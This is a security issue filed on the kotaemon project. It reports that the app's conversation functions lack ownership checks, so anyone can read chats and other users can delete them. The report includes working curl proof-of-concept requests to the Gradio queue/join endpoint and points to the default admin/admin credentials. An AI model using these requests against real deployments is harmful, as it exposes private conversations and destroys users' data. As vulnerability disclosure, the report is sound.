#846·kotaemon

Cross-User Conversation IDOR -- Unauthenticated Read and Authenticated Delete of Any Conversation

Author: geo-chenCreated Jul 3, 2026Updated Jul 3, 2026
Labelsbug

Description

reported on 1 June 2026 - https://github.com/Cinnamon/kotaemon/security/advisories/GHSA-jxf2-p4x7-5x42 - no response.

Summary

The Gradio-based multi-user chat application exposes conversation management functions (select, delete, rename, toggle-public) via the Gradio queue API without checking whether the requesting user owns the target conversation. Any caller -- including unauthenticated callers -- can read the full message history of any conversation by supplying its ID. An authenticated regular user can also delete or rename any other user's conversation. The API endpoint queue/join is reachable by any HTTP client with no cookie or token requirement, and the functions involved do not verify ownership before returning or modifying data.

Details

Root cause -- missing ownership check in select_conv:

libs/ktem/ktem/pages/chat/control.py, function select_conv (line 299):

python
def select_conv(self, conversation_id, user_id):
    with Session(engine) as session:
        statement = select(Conversation).where(Conversation.id == conversation_id)
        try:
            result = session.exec(statement).one()
            id_ = result.id
            name = result.name
            # ...
            if user_id == result.user:
                selected = result.data_source.get("selected", {})
            else:
                selected = {}
            # NO EARLY RETURN -- chats are returned regardless of user_id
            chats = result.data_source.get("messages", [])

The function fetches any conversation by ID and returns its messages even when user_id does not match result.user. The only effect of the ownership check is that selected (file-selector state) is empty for non-owners; the chat messages themselves are always returned.

Root cause -- missing ownership check in delete_conv:

libs/ktem/ktem/pages/chat/control.py, function delete_conv (line 275):

python
def delete_conv(self, conversation_id, user_id):
    # ...
    with Session(engine) as session:
        statement = select(Conversation).where(Conversation.id == conversation_id)
        result = session.exec(statement).one()
        session.delete(result)   # no check that result.user == user_id
        session.commit()

The function deletes whatever conversation is stored in the caller's session state as conversation_id. Because select_conv can be called with any conversation ID to update that state, an authenticated user can chain the two calls to delete any conversation.

Root cause -- missing ownership check in rename_conv and on_set_public_conversation:

libs/ktem/ktem/pages/chat/control.py, rename_conv (line 379) and libs/ktem/ktem/pages/chat/__init__.py, on_set_public_conversation (line 1011): both modify whatever conversation is in state or passed as a direct parameter without verifying the caller owns it.

Gradio API exposure:

The application's queue/join POST endpoint (registered by Gradio 4.39.0, gradio/routes.py) is protected only by login_check, which passes when app.auth is None (the default). As a result, any HTTP client can call select_conv (fn_index 31) without providing authentication cookies or tokens. The user_id gr.State defaults to None for a fresh session; select_conv does not block on user_id is None and returns the conversation data unconditionally.

Adjacent correctly-protected comparison: list_file in libs/ktem/ktem/index/file/ui.py (line 1496) adds where(Source.user == user_id) when the index has private: True. The same pattern is absent from all conversation management functions.

Reproduction steps

bash
### PoC

Prerequisites:
- kotaemon running with `KH_FEATURE_USER_MANAGEMENT=true` (the default)
- The attacker must know a valid conversation ID (32-character UUID hex). Conversation IDs can be obtained by: (a) logging in with the default admin credentials (`admin`/`admin`) and observing conversation IDs in the dropdown, or (b) any other means of obtaining the ID from a URL or another user.

**Step 1 -- Read any conversation (no authentication required):**


SESSION=$(python3 -c "import uuid; print(uuid.uuid4().hex)")
TARGET_CONV_ID="<victim-conversation-uuid>"

# POST to queue/join with fn_index=31 (select_conv), no auth cookie
EVENT_ID=$(curl -s -X POST http://TARGET:7860/queue/join \
  -H "Content-Type: application/json" \
  -d "{\"fn_index\": 31, \"data\": [\"$TARGET_CONV_ID\", null], \"session_hash\": \"$SESSION\"}" \
  | python3 -c "import json,sys; print(json.load(sys.stdin)['event_id'])")

# Retrieve the SSE result
sleep 1
curl -sN --max-time 8 "http://TARGET:7860/queue/data?session_hash=$SESSION"


Expected response (abridged):

{
  "msg": "process_completed",
  "output": {
    "data": [
      null,
      "<conv-id>",
      "Admin Top Secret",
      [["What is the DB password?", "The password is: Sup3rS3cr3t!"]],
      ...
    ]
  },
  "success": true
}


`data[2]` is the conversation name; `data[3]` is the full chat history.

**Step 2 -- Delete a conversation (requires a valid session, any user):**


SESSION=$(python3 -c "import uuid; print(uuid.uuid4().hex)")
TARGET_CONV_ID="<victim-conversation-uuid>"

# 2a. Authenticate as any valid user (even anonymous session works for read;
#     delete requires user_id != None)
curl -s -X POST http://TARGET:7860/queue/join \
  -H "Content-Type: application/json" \
  -d "{\"fn_index\": 1, \"data\": [\"bob\", \"Bob1234!\"], \"session_hash\": \"$SESSION\"}"
sleep 1; curl -sN --max-time 5 "http://TARGET:7860/queue/data?session_hash=$SESSION" > /dev/null

# 2b. select_conv with victim ID -- writes target ID into session state (component 23)
curl -s -X POST http://TARGET:7860/queue/join \
  -H "Content-Type: application/json" \
  -d "{\"fn_index\": 31, \"data\": [\"$TARGET_CONV_ID\", null], \"session_hash\": \"$SESSION\"}"
sleep 1; curl -sN --max-time 5 "http://TARGET:7860/queue/data?session_hash=$SESSION" > /dev/null

# 2c. delete_conv -- reads conversation_id from session state; no ownership check
curl -s -X POST http://TARGET:7860/queue/join \
  -H "Content-Type: application/json" \
  -d "{\"fn_index\": 35, \"data\": [null, null], \"session_hash\": \"$SESSION\"}"
sleep 1
curl -sN --max-time 8 "http://TARGET:7860/queue/data?session_hash=$SESSION"


Expected response for delete:

{
  "msg": "process_completed",
  "output": {
    "data": [null, {"choices": [...], "value": "..."}]
  },
  "success": true
}


The victim's conversation is gone from the database.

**Live-validated on commit 9ad3e4e (2026-06-01):**

Admin conversation "Admin Top Secret" (owner: admin, is_public: true) was read and deleted by user "bob" (a regular non-admin user). Deletion confirmed by querying the SQLite database directly:


Before: [('f979db0f54d54433aa07bcf3f816002b', 'Admin Top Secret', '3c1f04a9...')]
After:  []  -- conversation absent after delete_conv call by bob


Read confirmation -- message content returned by select_conv for unauthenticated session:

data[2]: 'Admin Top Secret'
data[3]: [['What is the DB password?', 'The password is: Sup3rS3cr3t!']]


### Impact

Any HTTP client that can reach port 7860 can read the full chat history of any conversation by supplying its ID. No authentication cookie or token is required for the read path. An authenticated regular user can additionally delete or rename any conversation owned by any other user. In a multi-user deployment where users store sensitive information in chat sessions (API keys, credentials, confidential document summaries), this vulnerability exposes all conversation contents to any network-adjacent attacker who discovers a valid conversation ID. Conversation IDs are 128-bit UUIDs and are not guessable by brute force, but they are visible in the browser URL/dropdown to the owning user and may be shared or leaked through other means. Combined with the hardcoded default admin credentials (`admin`/`admin` set in `flowsettings.py`), an attacker can log in as admin, enumerate all conversation IDs visible to admin, and read or delete any conversation in the system.

Screenshots

bash
![DESCRIPTION](LINK.png)

Logs

bash

Browsers

No response

OS

No response

Additional information

No response